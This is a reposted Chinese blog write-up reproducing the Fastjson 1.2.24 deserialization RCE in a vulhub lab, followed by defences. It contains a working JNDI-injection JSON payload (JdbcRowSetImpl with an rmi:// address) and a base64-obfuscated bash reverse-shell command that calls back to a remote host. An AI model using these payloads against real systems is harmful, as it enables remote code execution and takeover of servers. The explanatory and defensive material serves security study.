经典复现-Fastjson反序列化漏洞(1.2.24版本)

admin 2026-04-13 03:24:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Fastjson1.2.24版本反序列化漏洞的成因与利用方式,指出因默认开启autotype功能导致攻击者可通过恶意JSON触发JNDI注入实现RCE。文章提供了完整的漏洞复现步骤,包括环境搭建、攻击检测和命令执行,并给出根本解决方案是升级到1.2.83以上版本,同时建议关闭autotype、配置黑白名单及设置JVM安全参数。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,红队


cover_image

经典复现-Fastjson反序列化漏洞(1.2.24版本)

原创

hzhsec hzhsec

hzhsec

2026年4月8日 11:49 江西

免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。


漏洞简介

  • 漏洞成因:

首先介绍一下fastjson是什么?

Fastjson 是一个用于 Java 对象与 JSON 数据相互转换的库。

为什么会有这个漏洞呢?

原因是在低版本的fastjson中,默认开启了autotype选项,使得在反序列化json的时候,可以指定特定的类进行反序列化, 由于反序列化时,会触发类的构造函数,setter,getter或者其他隐式方法

攻击者可以通过精心构造恶意json,反序列化,触发特定的类,传入构造的参数,如果这些类的方法刚刚好使用了攻击者可控的参数,就会形成利用链,最终触发JNDI注入,实现远程代码执行

以下是一个autotype的基本用法:

{
 "@type": "SomeClass",
  "url": "xxx"
}

其中type参数是传入的要反序列加载的类

url相当于type类里面执行了setUrl(“xxx”),会改变类里面的值

注意:不同的环境会因为Classpath不同,形成不同的Gadget/利用链

影响版本: 受fastjson影响的带漏洞版本有很多:

  • 1.2.24及以下没有对序列化的类做校验,导致漏洞产生
  • 1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。
  • 1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式
  • 1.2.43版本是对1.2.42及以下版本的黑名单绕过
  • 1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
  • 1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击
  • 1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破
  • 1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验
  • 1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

接下来,我复现的是1.2.24版本的fastjson

漏洞复现

环境搭建

  1. 靶机环境(使用 vulhub):
  克隆vulhub仓库
  git clone --depth 1 https://github.com/vulhub/vulhub.git
  到漏洞地址
   cd vulhub/fastjson/1.2.24-rce
   docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker_yuan.sh

访问:http://靶机IP:80902. 攻击机环境: – Java-Chains(用于生成 JNDI 利用链) – nc/netcat(用于监听反弹 shell)

  1. 攻击步骤
  • 使用javachains生成jndi的dnslog命令,检测是否出网 post发送
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.41.128:50388/fb4ac1",
        "autoCommit":true
    }
}

  • 尝试命令执行反弹shell
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ==" | base64 -d | bash

成功反弹

原理:

通过fastjson反序列化,加载类com.sun.rowset.JdbcRowSetImpl,这个类是jdbc的数据库驱动类先将autoCommit赋值为true,说明开启自动连接,就是在类进行初始化的时候自动连接

为什么jdbc会调用ldaprmi协议呢?

dataSourceName则是通过jdbc连接数据库,由于jdbc的连接操作是通过jndi接口来进行,就是会根据url前缀来选择相应的服务器提供者

| URL 格式 | 协议 | JNDI 服务提供者 | 用途 | | — | — | — | — | | rmi://host:port/name | RMI | rmiURLContextFactory | Java 远程对象调用 | | ldap://host:port/dn | LDAP | ldapURLContextFactory | 目录服务访问 | | dns://host/name | DNS | dnsURLContextFactory | 域名解析 | | file:///path | File | fsURLContextFactory | 文件系统访问 |

简化后的连接代码:

// 简化后的关键代码
public void connect() throws SQLException {
    if (conn != null) return;

    // 使用 JNDI 查找数据源
    InitialContext ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup(dataSourceName);
    conn = ds.getConnection();
}
根据url前缀来选择相应的服务器提供者

漏洞防御

最根本的解决方案

将 Fastjson 升级到最新安全版本

  • 1.2.83 及以上版本:官方修复了大部分已知漏洞
  • 1.2.68 及以上版本:修复了 AutoCloseable 绕过问题
  • 建议:直接升级到最新稳定版

关闭autotype开关

在配置文件中显式关闭 AutoType(如果业务不需要):

// 全局关闭 AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 或者创建 JSON 对象时指定
JSON.parseObject(jsonString, Object.class, Feature.SupportAutoType);

配置黑白名单

白名单方式(推荐)

ParserConfig config = ParserConfig.getGlobalInstance();
// 添加允许反序列化的类
config.addAccept("com.example.safe.");
config.addAccept("java.util.");
// 关闭其他所有
config.setAutoTypeSupport(false);

运行时安全措施

JVM 参数限制

# 禁用远程类加载
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false

# JDK 6u132, 7u122, 8u113 及以上版本默认已设置

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:hzhsec hzhsec hzhsec《经典复现-Fastjson反序列化漏洞(1.2.24版本)》

网络安全文章

文章总结: 本文介绍成都链安推出的OpenClaw涉虚拟货币黑灰产揭秘线上课程,重点分析AI工具OpenClaw在加密货币领域被黑灰产利用的风险,包括引流、伪装
评论:0   参与:  0